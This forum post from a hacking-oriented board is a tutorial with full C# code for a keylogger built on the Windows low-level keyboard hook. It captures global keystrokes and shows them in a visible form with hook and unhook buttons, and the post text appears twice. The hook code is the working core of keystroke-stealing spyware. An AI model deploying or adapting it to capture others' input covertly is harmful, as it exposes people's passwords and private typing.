[C#]Simple keylogger with Keyboardhook 11-25-2012, 10:32 PM
#1
Hello Anarchyforums,
as promised here is my tut for a simple C# keylogger:
Step 1: first start a new C# project in visual studio
Step 2: Add a simple textbox and 2 buttons name the texbox Log and the buttons Hook and Unhook, set the textbox readonly to true as you don't want to write in it and put unhook enabled to false
Step 3: Create a new class named Keyboard (right click solution (SimpleKeyloggerTut in my case) and go to add -> claas -> Keyboard)
Step 4: add the following line of code to the top of your class (above the namespace):
Step 5: Now you created the class for the Keyboard hook add the following lines of code:
These lines call an external windows dll included in the .net framework needed to hook the keyboard
Step 6: Add the following variables to your class:
Step 7: Now let's set the hook I'll describe this code line by line
First create the Method (void):
second get the current process by doing this:
Now we'll get the current processmodule (our program):
Now hook the keyboard to this process (do this within the brackets of the using curmodule):
Step 8: Create a unhook method to stop the hook, this simply calls the method from the windows dll:
Step 9: under the keyboard class add the following class, this is simply an event handler to report keypresses to the main forum
Step 10: Now in the main class add the following line of code to handle keypresses:
Step 11: Now create the hookcallback to get the keycode on keydown and call an keydown event:
Step 12: Now you're done with making the class now hook your keyboard on key press:
First let's make a void wich handles the key down:
In our case we would want it to write it to the text file so we add the following:
Log is my textbox and appendtext will add text to it, keycode is the code of the key wich is pressed and we would get the key by using (char) the + "" is only because chars don't accept .ToString() as a string is basicly a char array.
Step 13: Hook and unhook your logger:
Double click your hook button to create a void name BUTTONNAME_Click (it handles the click of the button).
first add the event for keydown:
now add the following code to hook the keyboard:
Disable the hook button and enable the unhook button to prevent it from hooking multiple times:
And now as last the unhook button create a void for the unhook button like you did before (double click it) and add this inside to clear the events (so it won't report double next time you hook it):
now unhook the keyboard and you are done!:
and finally enable the hook button again and disable the unhook button:
I hope you enjoyed this tutorial for more info add me on skype: T09.nl or on msn: arh-t09@live.com.
![[Image: 1tVGi]](http://puu.sh/1tVGi)
PS: I know I suck at explaining but I hope it was clear for you guys
as promised here is my tut for a simple C# keylogger:
Step 1: first start a new C# project in visual studio
Step 2: Add a simple textbox and 2 buttons name the texbox Log and the buttons Hook and Unhook, set the textbox readonly to true as you don't want to write in it and put unhook enabled to false
Spoiler: Preview: (warning big)
Step 4: add the following line of code to the top of your class (above the namespace):
Code:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
Step 5: Now you created the class for the Keyboard hook add the following lines of code:
Code:
private delegate IntPtr KeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, KeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
These lines call an external windows dll included in the .net framework needed to hook the keyboard
Step 6: Add the following variables to your class:
Code:
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static KeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
Step 7: Now let's set the hook I'll describe this code line by line
First create the Method (void):
Code:
public static void Hook()
{
}
Code:
using (Process curProcess = Process.GetCurrentProcess())
Code:
using (ProcessModule curModule = curProcess.MainModule)
{
}
Code:
_hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle(curModule.ModuleName), 0);
Step 8: Create a unhook method to stop the hook, this simply calls the method from the windows dll:
Code:
public static void UnHook()
{
UnhookWindowsHookEx(_hookID);
}
Step 9: under the keyboard class add the following class, this is simply an event handler to report keypresses to the main forum
Code:
public class KeyEventArgs : EventArgs
{
int keyCode;
public KeyEventArgs(int mKeyCode)
{
keyCode = mKeyCode;
}
public int KeyCode
{
get
{
return keyCode;
}
}
}
Step 10: Now in the main class add the following line of code to handle keypresses:
Code:
public delegate void KeyDownHandler(object myObject, KeyEventArgs myArgs);
public static event KeyDownHandler OnKeyDown;
Step 11: Now create the hookcallback to get the keycode on keydown and call an keydown event:
Code:
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int KeyCode = Marshal.ReadInt32(lParam);
KeyEventArgs KeyArgs = new KeyEventArgs(KeyCode);
OnKeyDown(null, KeyArgs);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
Step 12: Now you're done with making the class now hook your keyboard on key press:
First let's make a void wich handles the key down:
Code:
private void OnKeyDown(object sender, KeyEventArgs e)
{
}
In our case we would want it to write it to the text file so we add the following:
Code:
Log.AppendText((Keys)e.KeyCode + "");
Log is my textbox and appendtext will add text to it, keycode is the code of the key wich is pressed and we would get the key by using (char) the + "" is only because chars don't accept .ToString() as a string is basicly a char array.
Step 13: Hook and unhook your logger:
Double click your hook button to create a void name BUTTONNAME_Click (it handles the click of the button).
first add the event for keydown:
Code:
Keyboard.OnKeyDown += OnKeyDown;
now add the following code to hook the keyboard:
Code:
Keyboard.Hook();
Disable the hook button and enable the unhook button to prevent it from hooking multiple times:
Code:
Unhook.Enabled = true;
Hook.Enabled = false;
And now as last the unhook button create a void for the unhook button like you did before (double click it) and add this inside to clear the events (so it won't report double next time you hook it):
Code:
Keyboard.OnKeyDown -= OnKeyDown;
Code:
Keyboard.UnHook();
and finally enable the hook button again and disable the unhook button:
Code:
Unhook.Enabled = false;
Hook.Enabled = true;
PS: I know I suck at explaining but I hope it was clear for you guys